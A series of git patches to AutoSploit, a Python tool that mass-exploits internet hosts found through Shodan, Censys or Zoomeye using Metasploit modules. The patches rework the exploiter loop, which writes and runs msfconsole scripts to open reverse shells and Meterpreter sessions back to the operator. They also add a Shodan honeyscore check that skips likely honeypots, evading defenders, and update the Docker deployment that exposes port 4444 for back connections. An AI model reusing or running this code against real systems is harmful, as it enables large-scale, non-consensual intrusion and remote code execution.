[PATCH 31/77] Update banner.py --- lib/banner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/banner.py b/lib/banner.py index 5567e5b..0d64574 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "3.0" +VERSION = "3.0.1" def banner_1(line_sep="#--", space=" " * 30): From bb65ddf16c42e2ce986b0b86cb6ab667a1d03123 Mon Sep 17 00:00:00 2001 From: NullArray Date: Tue, 15 Jan 2019 09:38:06 +0000 Subject: [PATCH 32/77] Updated release. Revisions required? Let me know if there are any revisions i should make to the "Usage" part of this README in regards to AutoSploit terminal sessions. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 45c7189..d466a51 100644 --- a/README.md +++ b/README.md @@ -25,7 +25,7 @@ The new version of AutoSploit has a feature that allows you to set a proxy befor # Installation -Installing AutoSploit is very simple, you can find the latest stable release [here](https://github.com/NullArray/AutoSploit/releases/tag/2.0). You can also download the master branch as a [zip](https://github.com/NullArray/AutSploit/zipball/master) or [tarball](https://github.com/NullArray/AutSploit/tarball/master) or follow one of the below methods; +Installing AutoSploit is very simple, you can find the latest stable release [here](https://github.com/NullArray/AutoSploit/releases/tag/v3.0). You can also download the master branch as a [zip](https://github.com/NullArray/AutSploit/zipball/master) or [tarball](https://github.com/NullArray/AutSploit/tarball/master) or follow one of the below methods; ###### Cloning From c65a1ceed2bb0941138a394809cfbf70bacadf2a Mon Sep 17 00:00:00 2001 From: Jonah Snider Date: Fri, 1 Mar 2019 22:26:18 -0800 Subject: [PATCH 33/77] Use GitHub's latest release URL --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index d466a51..2690580 100644 --- a/README.md +++ b/README.md @@ -25,7 +25,7 @@ The new version of AutoSploit has a feature that allows you to set a proxy befor # Installation -Installing AutoSploit is very simple, you can find the latest stable release [here](https://github.com/NullArray/AutoSploit/releases/tag/v3.0). You can also download the master branch as a [zip](https://github.com/NullArray/AutSploit/zipball/master) or [tarball](https://github.com/NullArray/AutSploit/tarball/master) or follow one of the below methods; +Installing AutoSploit is very simple, you can find the latest stable release [here](https://github.com/NullArray/AutoSploit/releases/latest). You can also download the master branch as a [zip](https://github.com/NullArray/AutSploit/zipball/master) or [tarball](https://github.com/NullArray/AutSploit/tarball/master) or follow one of the below methods; ###### Cloning From be3ebe59e696ac38262159fa1b94b8750a691d52 Mon Sep 17 00:00:00 2001 From: NullArray Date: Sun, 3 Mar 2019 03:34:47 +0000 Subject: [PATCH 34/77] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 2690580..bf7f1b0 100644 --- a/README.md +++ b/README.md @@ -176,7 +176,7 @@ Since the program invokes functionality from the Metasploit Framework you need t ## Acknowledgements -Special thanks to [Ekultek](https://github.com/Ekultek) without whoms contributions to the project, version 2.0 would have been a lot less spectacular. +Special thanks to [Ekultek](https://github.com/Ekultek) without whoms contributions to the project, the new version would have been a lot less spectacular. Thanks to [Khast3x](https://github.com/khast3x) for setting up Docker support. From a7d9ce5a1e7a3b384281c53cd235830016f1ca87 Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 27 Mar 2019 08:24:52 -0500 Subject: [PATCH 35/77] taking an idea from issue #596, fixes a misleading info message and changes to --- autosploit/main.py | 1 - lib/banner.py | 2 +- lib/term/terminal.py | 2 +- 3 files changed, 2 insertions(+), 3 deletions(-) diff --git a/autosploit/main.py b/autosploit/main.py index 60396d3..6543054 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -12,7 +12,6 @@ ) from lib.output import ( info, - warning, prompt, misc_info ) diff --git a/lib/banner.py b/lib/banner.py index 0d64574..14ee0bc 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "3.0.1" +VERSION = "3.0.2" def banner_1(line_sep="#--", space=" " * 30): diff --git a/lib/term/terminal.py b/lib/term/terminal.py index a871e01..d0d1685 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -402,7 +402,7 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): terminal main display """ lib.output.warning( - "no arguments have been passed, dropping into terminal session. " + "no arguments have been parsed at run time, dropping into terminal session. " "to get help type `help` to quit type `exit/quit` to get help on " "a specific command type `command help`" ) From 0116f45e1dbcd83c716fd2abc1ecd8186b0fa5be Mon Sep 17 00:00:00 2001 From: ekultek Date: Tue, 2 Apr 2019 15:11:47 -0500 Subject: [PATCH 36/77] created a command to view the version number from inside the terminal (issue #611) --- lib/banner.py | 2 +- lib/settings.py | 1 + lib/term/terminal.py | 11 +++++++++++ 3 files changed, 13 insertions(+), 1 deletion(-) diff --git a/lib/banner.py b/lib/banner.py index 14ee0bc..e51773c 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "3.0.2" +VERSION = "3.0.3" def banner_1(line_sep="#--", space=" " * 30): diff --git a/lib/settings.py b/lib/settings.py index 078c8b4..91aba28 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -54,6 +54,7 @@ def complete_text(self, text, state): personal/custom Load a custom host file tokens/reset Reset API tokens if needed external View loaded external commands +ver[sion] View the current version of the program help/? Display this help """ diff --git a/lib/term/terminal.py b/lib/term/terminal.py index d0d1685..06fd15e 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -1,6 +1,7 @@ import os import datetime +import lib.banner import lib.settings import lib.output import lib.errors @@ -42,6 +43,8 @@ class object for the main terminal of the program "external", # reset API tokens "reset", "tokens", + # show the version number + "ver", "version", # easter eggs! "idkwhatimdoing", "ethics", "skid" ] @@ -127,6 +130,12 @@ def get_choice(self): retval = ("unknown", original_choice) return retval + def do_show_version_number(self): + """ + display the current version number + """ + lib.output.info("your current version number: {}".format(lib.banner.VERSION)) + def do_display_external(self): """ display all external commands @@ -462,6 +471,8 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): self.do_quit_terminal(save_history=save_history) elif any(c in choice for c in ("view", "gathered")): self.do_view_gathered() + elif any(c in choice for c in ("ver", "version")): + self.do_show_version_number() elif "single" in choice: if "help" in choice_data_list: print(self.do_add_single_host.__doc__) From 4b463207031c646ccd5c921ce9fe1322adca5cd9 Mon Sep 17 00:00:00 2001 From: ekultek Date: Thu, 11 Apr 2019 15:35:37 -0500 Subject: [PATCH 37/77] creates a new banner because we're sexy, fixes the NoneType issue, creates a honeypot check, implements the check in cmd line and terminal, bumps version number --- README.md | 4 +- api_calls/honeyscore_hook.py | 22 ++++ lib/banner.py | 2 +- lib/cmdline/cmd.py | 11 +- lib/exploitation/exploiter.py | 189 +++++++++++++++++++--------------- lib/term/terminal.py | 72 +++++++++---- 6 files changed, 191 insertions(+), 109 deletions(-) create mode 100644 api_calls/honeyscore_hook.py diff --git a/README.md b/README.md index bf7f1b0..70e2017 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@ -# AutoSploit - +
+

As the name might suggest AutoSploit attempts to automate the exploitation of remote hosts. Targets can be collected automatically through Shodan, Censys or Zoomeye. But options to add your custom targets and host lists have been included as well. The available Metasploit modules have been selected to facilitate Remote Code Execution and to attempt to gain Reverse TCP Shells and/or Meterpreter sessions. Workspace, local host and local port for MSF facilitated back connections are configured by filling out the dialog that comes up before the exploit component is started **Operational Security Consideration** diff --git a/api_calls/honeyscore_hook.py b/api_calls/honeyscore_hook.py new file mode 100644 index 0000000..93f7917 --- /dev/null +++ b/api_calls/honeyscore_hook.py @@ -0,0 +1,22 @@ +import requests +from bs4 import BeautifulSoup + + +class HoneyHook(object): + + def __init__(self, ip_addy, api_key): + self.ip = ip_addy + self.api_key = api_key + self.url = "https://api.shodan.io/labs/honeyscore/{ip}?key={key}" + self.headers = { + "Referer": "https://honeyscore.shodan.io/", + "Origin": "https://honeyscore.shodan.io" + } + + def make_request(self): + try: + req = requests.get(self.url.format(ip=self.ip, key=self.api_key), headers=self.headers) + honeyscore = float(req.content) + except Exception: + honeyscore = 0.0 + return honeyscore diff --git a/lib/banner.py b/lib/banner.py index e51773c..950141a 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "3.0.3" +VERSION = "3.1" def banner_1(line_sep="#--", space=" " * 30): diff --git a/lib/cmdline/cmd.py b/lib/cmdline/cmd.py index 4ea9cb7..493f3de 100644 --- a/lib/cmdline/cmd.py +++ b/lib/cmdline/cmd.py @@ -68,6 +68,8 @@ def optparser(): help="Do not launch metasploit's exploits. Do everything else. msfconsole is never called.") exploit.add_argument("-f", "--exploit-file-to-use", metavar="PATH", dest="exploitFile", help="Run AutoSploit with provided exploit JSON file.") + exploit.add_argument("-H", "--is-honeypot", type=float, default=1000, dest="checkIfHoneypot", metavar="HONEY-SCORE", + help="Determine if the host is a honeypot or not") misc = parser.add_argument_group("misc arguments", "arguments that don't fit anywhere else") misc.add_argument("--ruby-exec", action="store_true", dest="rubyExecutableNeeded", @@ -218,11 +220,18 @@ def single_run_args(opt, keys, loaded_modules): hosts = open(lib.settings.HOST_FILE).readlines() if opt.whitelist: hosts = lib.exploitation.exploiter.whitelist_wash(hosts, whitelist_file=opt.whitelist) + if opt.checkIfHoneypot != 1000: + check_pot = True + else: + check_pot = False lib.exploitation.exploiter.AutoSploitExploiter( opt.msfConfig, loaded_modules, hosts, ruby_exec=opt.rubyExecutableNeeded, msf_path=opt.pathToFramework, - dryRun=opt.dryRun + dryRun=opt.dryRun, + shodan_token=keys["shodan"][0], + check_honey=check_pot, + compare_honey=opt.checkIfHoneypot ).start_exploit() diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index a175611..4492ff8 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -10,6 +10,7 @@ import lib.settings import lib.output +import api_calls.honeyscore_hook def whitelist_wash(hosts, whitelist_file): @@ -48,6 +49,9 @@ def __init__(self, configuration, all_modules, hosts=None, **kwargs): self.ruby_exec = kwargs.get("ruby_exec", False) self.msf_path = kwargs.get("msf_path", None) self.dry_run = kwargs.get("dryRun", False) + self.check_honey = kwargs.get("check_honey", False) + self.shodan_token = kwargs.get("shodan_token", None) + self.compare_honey = kwargs.get("compare_honey", 0.0) def view_sorted(self): """ @@ -100,103 +104,120 @@ def start_exploit(self, sep="*" * 10): win_total = 0 fail_total = 0 + skip_amount = 0 for host in self.hosts: - current_host_path = path.join(current_run_path, host.strip()) - makedirs(current_host_path) - - for mod in self.mods: - if not self.dry_run: - lib.output.info( - "launching exploit '{}' against host '{}'".format( - mod.strip(), host.strip() + host = host.strip() + if self.check_honey: + lib.output.misc_info("checking if {} is a honeypot".format(host)) + honey_score = api_calls.honeyscore_hook.HoneyHook(host, self.shodan_token).make_request() + if honey_score >= self.compare_honey: + lib.output.warning( + "awh shit, this returned a honeypot score of {}, lets not and say we did".format(honey_score) + ) + skip = True + skip_amount += 1 + else: + skip = False + else: + skip = False + + if not skip: + current_host_path = path.join(current_run_path, host.strip()) + makedirs(current_host_path) + + for mod in self.mods: + if not self.dry_run: + lib.output.info( + "launching exploit '{}' against host '{}'".format( + mod.strip(), host.strip() + ) ) + + cmd_template = ( + "sudo {use_ruby} {msf_path} -r {rc_script_path} -q" ) - cmd_template = ( - "sudo {use_ruby} {msf_path} -r {rc_script_path} -q" - ) - - use_ruby = "ruby" if self.ruby_exec else "" - msf_path = self.msf_path if self.msf_path is not None else "msfconsole" - - # What's the point of having a workspace if you overwrite it every fucking time.. - rc_script_template = ( - "workspace -a {workspace}\n" - "use {module_name}\n" - "setg lhost {lhost}\n" - "setg lport {lport}\n" - "setg verbose true\n" - "setg threads 20\n" - "set rhost {rhost}\n" - "set rhosts {rhosts}\n" - "run -z\n" - "exit -y\n" - ) - - module_name = mod.strip() - workspace = self.configuration[0] - lhost = self.configuration[1] - lport = self.configuration[2] - rhost = host.strip() - - current_rc_script_path = path.join(current_host_path, mod.replace("/", '-').strip()) - with open(current_rc_script_path, 'w') as f: - - f.writelines(rc_script_template.format( - module_name=module_name, - workspace=workspace, - lhost=lhost, - lport=lport, - rhost=rhost, - rhosts=rhost - )) - - with open(report_path, 'a') as f: - - cmd = cmd_template.format( - use_ruby=use_ruby, - msf_path=msf_path, - rc_script_path=current_rc_script_path + use_ruby = "ruby" if self.ruby_exec else "" + msf_path = self.msf_path if self.msf_path is not None else "msfconsole" + + # What's the point of having a workspace if you overwrite it every fucking time.. + rc_script_template = ( + "workspace -a {workspace}\n" + "use {module_name}\n" + "setg lhost {lhost}\n" + "setg lport {lport}\n" + "setg verbose true\n" + "setg threads 20\n" + "set rhost {rhost}\n" + "set rhosts {rhosts}\n" + "run -z\n" + "exit -y\n" ) - output = [""] - if not self.dry_run: - output = lib.settings.cmdline(cmd) - - ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') - msf_output_lines = [ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)] - - msf_wins = [x for x in msf_output_lines if re.search('\[\+\]', x) or - 'Meterpreter' in x or - 'Session' in x or - 'Sending stage' in x] - - msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x)] - - if len(msf_wins): - win_total += 1 - if len(msf_fails): - fail_total += 1 - - csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) - csv_file.writerow([rhost, - today_printable, - module_name, - lhost, - lport, - linesep.join(msf_wins), - linesep.join(msf_fails), - linesep.join(msf_output_lines)]) - - print() + module_name = mod.strip() + workspace = self.configuration[0] + lhost = self.configuration[1] + lport = self.configuration[2] + rhost = host.strip() + + current_rc_script_path = path.join(current_host_path, mod.replace("/", '-').strip()) + with open(current_rc_script_path, 'w') as f: + + f.writelines(rc_script_template.format( + module_name=module_name, + workspace=workspace, + lhost=lhost, + lport=lport, + rhost=rhost, + rhosts=rhost + )) + + with open(report_path, 'a') as f: + + cmd = cmd_template.format( + use_ruby=use_ruby, + msf_path=msf_path, + rc_script_path=current_rc_script_path + ) + + output = [""] + if not self.dry_run: + output = lib.settings.cmdline(cmd) + + ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') + msf_output_lines = [ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)] + + msf_wins = [x for x in msf_output_lines if re.search('\[\+\]', x) or + 'Meterpreter' in x or + 'Session' in x or + 'Sending stage' in x] + + msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x)] + + if len(msf_wins): + win_total += 1 + if len(msf_fails): + fail_total += 1 + + csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) + csv_file.writerow([rhost, + today_printable, + module_name, + lhost, + lport, + linesep.join(msf_wins), + linesep.join(msf_fails), + linesep.join(msf_output_lines)]) + + print("") lib.output.info("{}RESULTS{}".format(sep, sep)) if self.dry_run: lib.output.info("\tDRY RUN!") lib.output.info("\t0 exploits run against {} hosts.".format(len(self.hosts))) else: - lib.output.info("\t{} exploits run against {} hosts.".format(len(self.mods), len(self.hosts))) + lib.output.info("\t{} exploits run against {} hosts.".format(len(self.mods), len(self.hosts) - skip_amount)) lib.output.info("\t{} exploit successful (Check report.csv to validate!).".format(win_total)) lib.output.info("\t{} exploit failed.".format(fail_total)) diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 06fd15e..9142af3 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -318,7 +318,7 @@ def do_quit_terminal(self, save_history=True): hist.write(item + "\n") lib.output.info("exiting terminal session") - def do_exploit_targets(self, workspace_info): + def do_exploit_targets(self, workspace_info, shodan_token=None): """ Explanation: ------------ @@ -332,11 +332,11 @@ def do_exploit_targets(self, workspace_info): --------- exploit/run/attack 127.0.0.1 9065 default [whitewash list] """ - if workspace_info[-1] is not None: + if workspace_info[3] is not None and workspace_info[3] != "honeycheck": lib.output.misc_info("doing whitewash on hosts file") lib.exploitation.exploiter.whitelist_wash( open(lib.settings.HOST_FILE).readlines(), - workspace_info[-1] + workspace_info[3] ) else: if not lib.settings.check_for_msf(): @@ -374,7 +374,9 @@ def do_exploit_targets(self, workspace_info): all_modules=mods_to_use, hosts=open(lib.settings.HOST_FILE).readlines(), msf_path=msf_path, - ruby_exec=ruby_exec + ruby_exec=ruby_exec, + check_honey=workspace_info[-1], + shodan_token=shodan_token ).start_exploit() def do_load_custom_hosts(self, file_path): @@ -469,25 +471,30 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): self.do_display_history() elif any(c in choice for c in ("exit", "quit")): self.do_quit_terminal(save_history=save_history) - elif any(c in choice for c in ("view", "gathered")): + elif any(c in choice for c in ("view", "show")): self.do_view_gathered() elif any(c in choice for c in ("ver", "version")): self.do_show_version_number() elif "single" in choice: - if "help" in choice_data_list: - print(self.do_add_single_host.__doc__) - + try: + if "help" in choice_data_list: + print(self.do_load_custom_hosts.__doc__) + except TypeError: + pass if choice_data_list is None or len(choice_data_list) == 1: lib.output.error("must provide host IP after `single` keyword (IE single 89.65.78.123)") else: self.do_add_single_host(choice_data_list[-1]) elif any(c in choice for c in ("exploit", "run", "attack")): - if "help" in choice_data_list: - print(self.do_exploit_targets.__doc__) + try: + if "help" in choice_data_list: + print(self.do_exploit_targets.__doc__) + except TypeError: + pass if len(choice_data_list) < 4: lib.output.error( "must provide at least LHOST, LPORT, workspace name with `{}` keyword " - "(IE {} 127.0.0.1 9076 default [whitelist-path])".format( + "(IE {} 127.0.0.1 9076 default [whitelist-path] [honeycheck])".format( choice, choice ) ) @@ -496,30 +503,50 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): try: workspace = ( choice_data_list[1], choice_data_list[2], - choice_data_list[3], choice_data_list[4] + choice_data_list[3], choice_data_list[4], + True if "honeycheck" in choice_data_list else False ) except IndexError: workspace = ( choice_data_list[1], choice_data_list[2], - choice_data_list[3], None + choice_data_list[3], None, + True if "honeycheck" in choice_data_list else False ) - self.do_exploit_targets(workspace) + if workspace[-1]: + honeyscore = None + while honeyscore is None: + honeyscore = lib.output.prompt( + "enter the honeyscore you want as the maximum allowed" + ) + try: + honeyscore = float(honeyscore) + except: + honeyscore = None + lib.output.error("honey score must be a float (IE 0.3)") + self.do_exploit_targets( + workspace, shodan_token=self.tokens["shodan"][0] + ) else: lib.output.warning( "heuristics could not validate provided IP address, " "did you type it right?" ) elif any(c in choice for c in ("personal", "custom")): - if "help" in choice_data_list: - print(self.do_load_custom_hosts.__doc__) + try: + if "help" in choice_data_list: + print(self.do_load_custom_hosts.__doc__) + except TypeError: + pass if len(choice_data_list) == 1: lib.output.error("must provide full path to file after `{}` keyword".format(choice)) else: self.do_load_custom_hosts(choice_data_list[-1]) elif any(c in choice for c in ("search", "api", "gather")): - if "help" in choice_data_list: - print(self.do_api_search.__doc__) - + try: + if "help" in choice_data_list: + print(self.do_load_custom_hosts.__doc__) + except TypeError: + pass if len(choice_data_list) < 3: lib.output.error( "must provide a list of API names after `{}` keyword and query " @@ -545,8 +572,11 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): elif any(c in choice for c in ("tokens", "reset")): acceptable_api_names = ("shodan", "censys") - if "help" in choice_data_list: - print(self.do_token_reset.__doc__) + try: + if "help" in choice_data_list: + print(self.do_load_custom_hosts.__doc__) + except TypeError: + pass if len(choice_data_list) < 3: lib.output.error( From f8482a8a57aa2705cdcc0153034c5c9c2f7c8a11 Mon Sep 17 00:00:00 2001 From: ekultek Date: Thu, 11 Apr 2019 15:36:20 -0500 Subject: [PATCH 38/77] too many breaks --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 70e2017..806e4ab 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@
-

+
As the name might suggest AutoSploit attempts to automate the exploitation of remote hosts. Targets can be collected automatically through Shodan, Censys or Zoomeye. But options to add your custom targets and host lists have been included as well. The available Metasploit modules have been selected to facilitate Remote Code Execution and to attempt to gain Reverse TCP Shells and/or Meterpreter sessions. Workspace, local host and local port for MSF facilitated back connections are configured by filling out the dialog that comes up before the exploit component is started **Operational Security Consideration** From c5be609311f60fc0246562394e824bc55a271138 Mon Sep 17 00:00:00 2001 From: ekultek Date: Thu, 11 Apr 2019 15:54:43 -0500 Subject: [PATCH 39/77] fixes the 'awh shit' comment :| --- lib/exploitation/exploiter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index 4492ff8..98630f5 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -113,7 +113,7 @@ def start_exploit(self, sep="*" * 10): honey_score = api_calls.honeyscore_hook.HoneyHook(host, self.shodan_token).make_request() if honey_score >= self.compare_honey: lib.output.warning( - "awh shit, this returned a honeypot score of {}, lets not and say we did".format(honey_score) + "honeypot score ({}) is above requested, skipping target".format(honey_score) ) skip = True skip_amount += 1 From f02d5102cb5c4d3ca18bd8ad27d37f1ad4e64830 Mon Sep 17 00:00:00 2001 From: khast3x Date: Sun, 14 Apr 2019 22:25:53 +0200 Subject: [PATCH 40/77] Docker refactor --- Docker/Dockerfile | 34 +++++++++------------ Docker/README.md | 72 +++++--------------------------------------- Docker/entrypoint.sh | 7 +++++ 3 files changed, 29 insertions(+), 84 deletions(-) create mode 100644 Docker/entrypoint.sh diff --git a/Docker/Dockerfile b/Docker/Dockerfile index ad482c8..deb91ce 100644 --- a/Docker/Dockerfile +++ b/Docker/Dockerfile @@ -1,23 +1,17 @@ -FROM kalilinux/kali-linux-docker +FROM phocean/msf -RUN apt update \ - && apt install -y \ - apache2 \ - build-essential \ - git \ - metasploit-framework \ - postgresql \ - python-dev \ - python-pip +COPY "entrypoint.sh" . -RUN git clone https://github.com/NullArray/AutoSploit.git \ - && pip install -r AutoSploit/requirements.txt +RUN apt-get update && \ + apt-get install -y \ + git \ + python-dev \ + python-pip \ + apache2 -COPY database.yml /root/.msf4/database.yml - -WORKDIR AutoSploit - -EXPOSE 80 443 4444 - -ENTRYPOINT ["python", "autosploit.py"] -# ENTRYPOINT ["bash"] +RUN chmod +x entrypoint.sh && \ + git clone https://github.com/NullArray/AutoSploit.git && \ + pip install -r AutoSploit/requirements.txt + +EXPOSE 4444 +CMD [ "./entrypoint.sh" ] diff --git a/Docker/README.md b/Docker/README.md index cb314da..d4f6cb1 100644 --- a/Docker/README.md +++ b/Docker/README.md @@ -1,75 +1,19 @@ # Docker deployment instructions -## tl;dr -Using [docker-compose](https://docs.docker.com/compose/install/): +## From Dockerhub ```bash -git clone https://github.com/NullArray/AutoSploit.git -cd Autosploit/Docker -docker-compose run --rm autosploit +> docker run -it battlecl0ud/autosploit ``` -Using just Docker: +*Ideally this is to be replaced by project author's dockerhub account* -```bash -git clone https://github.com/NullArray/AutoSploit.git -cd Autosploit/Docker -# If you wish to edit default postgres service details, edit database.yml. Should work out of the box -# nano database.yml -docker network create -d bridge haknet -docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres -docker build -t autosploit . -docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit -``` - -## Abstract - -- Launching `Autosploit` as a Docker container makes it very easy to use the tool in a hosted cloud environment (AWS, Azure, ...) -- Separate `postgres` database into individual service for data persistence and potential async updating of the database -- Create a small bridge network `haknet` so the service discovery is automatic -- Launch `postgres` and `Autosploit` container, both linked by `haknet` -- Autosploit will automatically launch preconfigured `msfconsole` to the external `postgres` container through `haknet` transparent network -- Total image size of Kali + Metasploit + Autosploit : 1.75GB - -## Deploy - -### Step 1 - Create bridge network - -This will enable the Metasploit Framework to talk to the `postgres` database using its hostname, making it abstract. - -A Tor Socks Proxy can also be added to perform transparent proxy when launching exploits (not for reverse shells though, obviously). - -```bash -docker network create -d bridge haknet -``` - -### Step 2 - Launch services - -All automagically linked - -#### Step 2.1 - Launch postgres - -Launch a vanilla `postgres` service, linked to `haknet` - -```bash -docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres -``` - -#### Step 2.2 - Launch Autosploit - -Launch `Autosploit`. - -This Dockerfile will copy the default database config to `~/.msf4/database.yml`. You can edit the configuration file `database.yml` to your liking before building. - -Please be aware that the first build will take some time (~10mn) - -Building will be faster if done on a hosted server as it benefits from the -grade bandwidth +## Build it yourself ```bash -git clone https://github.com/NullArray/AutoSploit.git -cd Autosploit/Docker -nano database.yml # Exemple configuration should work fine -docker build -t autosploit . -docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit +> git clone https://github.com/NullArray/AutoSploit.git +> cd Autosploit/Docker +> docker build -t autosploit . +> docker run -it autosploit ``` diff --git a/Docker/entrypoint.sh b/Docker/entrypoint.sh new file mode 100644 index 0000000..6b624a5 --- /dev/null +++ b/Docker/entrypoint.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +/etc/init.d/postgresql start +/etc/init.d/apache2 start +cd AutoSploit/ + +python autosploit.py \ No newline at end of file From c8b9957d4543dd30f4e63dbbe8537c0960211d20 Mon Sep 17 00:00:00 2001 From: NullArray Date: Tue, 16 Apr 2019 23:43:51 +0000 Subject: [PATCH 41/77] Update README.md --- README.md | 37 +++++++++++++++++-------------------- 1 file changed, 17 insertions(+), 20 deletions(-) diff --git a/README.md b/README.md index 806e4ab..339c664 100644 --- a/README.md +++ b/README.md @@ -27,34 +27,34 @@ The new version of AutoSploit has a feature that allows you to set a proxy befor Installing AutoSploit is very simple, you can find the latest stable release [here](https://github.com/NullArray/AutoSploit/releases/latest). You can also download the master branch as a [zip](https://github.com/NullArray/AutSploit/zipball/master) or [tarball](https://github.com/NullArray/AutSploit/tarball/master) or follow one of the below methods; -###### Cloning -```bash -sudo -s << EOF -git clone https://github.com/NullArray/Autosploit.git -cd AutoSploit -chmod +x install.sh -./install.sh -python2 autosploit.py -EOF +###### Docker Compose +Using DOcker Compose is by far the easiest way to get AutoSploit up and running without too much of a hassle. + +``` +git clone https://github.com/NullArray/AutoSploit.git +cd Autosploit/Docker +docker-compose run --rm autosploit ``` ###### Docker +Just using Docker. -```bash -sudo -s << EOF +``` git clone https://github.com/NullArray/AutoSploit.git -cd AutoSploit -chmod +x install.sh -./install.sh -cd AutoSploit/Docker +cd Autosploit/Docker +# If you wish to edit default postgres service details, edit database.yml. Should work out of the box +# nano database.yml docker network create -d bridge haknet docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres docker build -t autosploit . -docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit -EOF +docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit``` ``` +Dev team contributor [Khast3x](https://github.com/khast3x) recently improved Docker operations as well as add more details to the README.md in the `Docker` subdirectory. For more information on deploying AutoSploit with Docker please be sure to click [here](https://github.com/NullArray/AutoSploit/tree/master/Docker) + + +###### Cloning On any Linux system the following should work; ```bash @@ -80,9 +80,6 @@ python autosploit.py _EOF ``` - -More information on running Docker can be found [here](https://github.com/NullArray/AutoSploit/tree/master/Docker) - ## Usage Starting the program with `python autosploit.py` will open an AutoSploit terminal session. The options for which are as follows. From db74e542f34e786a78c48d43da63ffe586362047 Mon Sep 17 00:00:00 2001 From: NullArray Date: Tue, 16 Apr 2019 23:44:45 +0000 Subject: [PATCH 42/77] Update README.md --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 339c664..ac4c6d2 100644 --- a/README.md +++ b/README.md @@ -28,8 +28,8 @@ The new version of AutoSploit has a feature that allows you to set a proxy befor Installing AutoSploit is very simple, you can find the latest stable release [here](https://github.com/NullArray/AutoSploit/releases/latest). You can also download the master branch as a [zip](https://github.com/NullArray/AutSploit/zipball/master) or [tarball](https://github.com/NullArray/AutSploit/tarball/master) or follow one of the below methods; -###### Docker Compose -Using DOcker Compose is by far the easiest way to get AutoSploit up and running without too much of a hassle. +##### Docker Compose +Using Docker Compose is by far the easiest way to get AutoSploit up and running without too much of a hassle. ``` git clone https://github.com/NullArray/AutoSploit.git @@ -37,7 +37,7 @@ cd Autosploit/Docker docker-compose run --rm autosploit ``` -###### Docker +##### Docker Just using Docker. ``` @@ -54,7 +54,7 @@ docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit``` Dev team contributor [Khast3x](https://github.com/khast3x) recently improved Docker operations as well as add more details to the README.md in the `Docker` subdirectory. For more information on deploying AutoSploit with Docker please be sure to click [here](https://github.com/NullArray/AutoSploit/tree/master/Docker) -###### Cloning +##### Cloning On any Linux system the following should work; ```bash From efcaa1934174cd52126235a38b78cf4b0f7ae0ab Mon Sep 17 00:00:00 2001 From: NullArray Date: Tue, 16 Apr 2019 23:45:45 +0000 Subject: [PATCH 43/77] Update README.md --- README.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/README.md b/README.md index ac4c6d2..accd36b 100644 --- a/README.md +++ b/README.md @@ -30,7 +30,6 @@ Installing AutoSploit is very simple, you can find the latest stable release [he ##### Docker Compose Using Docker Compose is by far the easiest way to get AutoSploit up and running without too much of a hassle. - ``` git clone https://github.com/NullArray/AutoSploit.git cd Autosploit/Docker @@ -39,7 +38,6 @@ docker-compose run --rm autosploit ##### Docker Just using Docker. - ``` git clone https://github.com/NullArray/AutoSploit.git cd Autosploit/Docker @@ -48,7 +46,7 @@ cd Autosploit/Docker docker network create -d bridge haknet docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres docker build -t autosploit . -docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit``` +docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit ``` Dev team contributor 